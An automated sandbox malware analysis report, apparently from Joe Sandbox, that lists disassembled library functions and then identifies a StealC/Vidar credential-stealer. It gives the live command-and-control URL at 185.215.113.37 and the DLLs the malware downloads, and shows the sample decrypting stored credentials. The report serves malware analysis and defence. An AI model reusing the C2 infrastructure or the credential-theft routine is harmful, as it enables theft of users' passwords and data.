Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C696470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C6982BC,?,?), ref: 6C69649B

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6964A9

Part of subcall function 6C68FA80: GetCurrentThreadId.KERNEL32 ref: 6C68FA8D
Part of subcall function 6C68FA80: AcquireSRWLockExclusive.KERNEL32(6C6DF448), ref: 6C68FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C69653F
free.MOZGLUE(?), ref: 6C69655A

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction ID: 98cb846002616a141ddfcc5cd91472c026677bdcc18c31a34d08c92d525b97ac
Opcode Fuzzy Hash: 84f714f4f15ae930f76b2db4f443e3ba3e75a5f9a40559ef3b81db765fb5b1f9
Instruction Fuzzy Hash: 223161B5A04305AFD740CF15D88469AB7E4FF89314F00482EE85A97751DB34E919CBDA

Function 6C66B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C66B4F5
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B502
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66B542
free.MOZGLUE(?), ref: 6C66B578

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction ID: f8c6926e3cb4d4af112b9870dfa7403b397d49b61d05b120268176a51f4f12c6
Opcode Fuzzy Hash: d6fce4e0f5ce2d2612f5934e6f077c7e1e761546c7ba7781ddcddf79526bcbfe
Instruction Fuzzy Hash: 85110330A04B41C7D321CF2AC8407A5B3B0FFDA319F14970AE84953E02EBB0B5C5879A

Function 6C693DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C65F20E,?), ref: 6C693DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C65F20E,00000000,?), ref: 6C693DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C693E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C693E0E

Part of subcall function 6C68CC00: GetCurrentProcess.KERNEL32(?,?,6C6531A7), ref: 6C68CC0D
Part of subcall function 6C68CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C6531A7), ref: 6C68CC16

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction ID: 1eb75ff979cc5475eae7f49dcf4a0ee0aad8e9e8d9996727dab3d755bc266919
Opcode Fuzzy Hash: 82a6360a373ecd281ae6919c82bcd1b75556bec14f788fb4d8f0f9eba5c47a7f
Instruction Fuzzy Hash: 9BF0F8B1A002087BDB00AB55EC81DAB376DEB87628F040021FE0957741D636BE6996FF

Function 6C6A85B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C6A85D3

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C6A8725

Strings

map/set<T> too long, xrefs: 6C6A8720

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction ID: 70b27cce337b19c255c6b91cde610e625e735871812691eeb71a8baf6980d39e
Opcode Fuzzy Hash: a2a27303650dbd5e9a7fe60878a720a47f4d3f5136fab0440a28ca324daa6040
Instruction Fuzzy Hash: FA515674A006818FE701CF58C184A59FBF1BF4A318F19C19AD8595BB62C375EC46CF96

Function 6C65BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C65BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C65BE8F

Strings

0, xrefs: 6C65BE5B

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction ID: 5aff77c52a83a249f610f6a40117f5f17253505299baa17352f2cf3b02d9aadf
Opcode Fuzzy Hash: 649d6500970ca855c2c481ee1f24676c81dfb6642f3f8c832d97c200676fd99e
Instruction Fuzzy Hash: 6F41B171A09745CFC301CF28C481A9BB7F4AFCA388F544B1DF985A7611D730E9698B8A

Function 6C693CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693D19
mozalloc_abort.MOZGLUE(?), ref: 6C693D6C

Strings

d, xrefs: 6C693D58

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction ID: ae81405fb39a1e9092750637fc88ed10a7b0fe2e72f912b9bd23e2162f856e3d
Opcode Fuzzy Hash: 79547db147bd6d31f76d90bae60149de37a63823fd5d36e282509eb561b16e80
Instruction Fuzzy Hash: 8111C435E0468997DB008F6ACC644EDB7B5EF86318F458229DD4997622EB30A688C398

Function 6C6B6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C6B6E22
__Init_thread_footer.LIBCMT ref: 6C6B6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C6B6E1D

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction ID: bcd68a56edc4a956bdd073aa2d8006e056c651a881adc380280f84d7f154e701
Opcode Fuzzy Hash: 39a29bee2b8b57065e6a5f8ed2424b066c1647657c83e079799a23cb29785f06
Instruction Fuzzy Hash: 2DF02E302492C08BDB008B69C8A1A9173B29303318F080165F80196FA2CB31F627CFAF

Function 6C669E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C669EEF

Strings

Infinity, xrefs: 6C669EB7
NaN, xrefs: 6C669EC1

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction ID: c4194f2a258d45e7e49048328d94766e7d17b0c02063ac6c994417b112666e3a
Opcode Fuzzy Hash: 69064ab08258a321f268fc936855b8ae153423eff6b17a422022ef0b64cf6071
Instruction Fuzzy Hash: E1F06D71601641CBDB00CF5AD8C5B9033F1B74771DF250A19C9440AF81D7767646CA9F

Function 6C666C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C42

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(0Kil,?,6C694B30,80000000,?,6C694AB7,?,6C6543CF,?,6C6542D2), ref: 6C666C58

Strings

0Kil, xrefs: 6C666C33, 6C666C41, 6C666C57

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kil
API String ID: 1967447596-1570486273
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 47a2848e409718a8f1d8a2683fe2594ab049f9b896a105d641ef50186a662689
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F4E086F1A10D455B9F08D97FAC0956A71C88B553AC7044A35E823C6FC8FAB4E550815F

Function 6C66BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C66BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C66BEF5

Strings

cryptbase.dll, xrefs: 6C66BEF0

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction ID: 44563a522ee1324380eaf9a3347d73bdea828b5c897ecfb4e6088c6321dae0f1
Opcode Fuzzy Hash: 4870778a0ef8a45ee3d799cae793fcd5ec17f4a2edcaed08401fe318736b03b0
Instruction Fuzzy Hash: F7D0A731184209E6C7006B528C05B2937749782795F10C020F30544C52C7B0B413DF4D

Function 6C6AB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB628

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C6AB2C9,?,?,?,6C6AB127,?,?,?,?,?,?,?,?,?,6C6AAE52), ref: 6C6AB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C6AB127,?,?,?,?,?,?,?,?), ref: 6C6AB74D

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction ID: 085effcad87eddf0045659a872f45dad84b52f8dd6c581acd935d8d6010fba1a
Opcode Fuzzy Hash: 40779d404a368615f40afe1c83035d14527e88d70c3251f7b9a6a7ada22aca6f
Instruction Fuzzy Hash: 2251D071A0121A8FDB14CF98C98076EB7B1FF85308F55852DC85AAB710D771EC06CBA9

Function 6C6A6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2393346726.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2393300652.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393391274.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393435353.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2393450355.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php3	URL Reputation: Label: malware

Source: 0.2.file.exe.7a0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.7a0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_007A9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007AC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_007AC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_007A7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007A9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_007A9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_007B8EA0
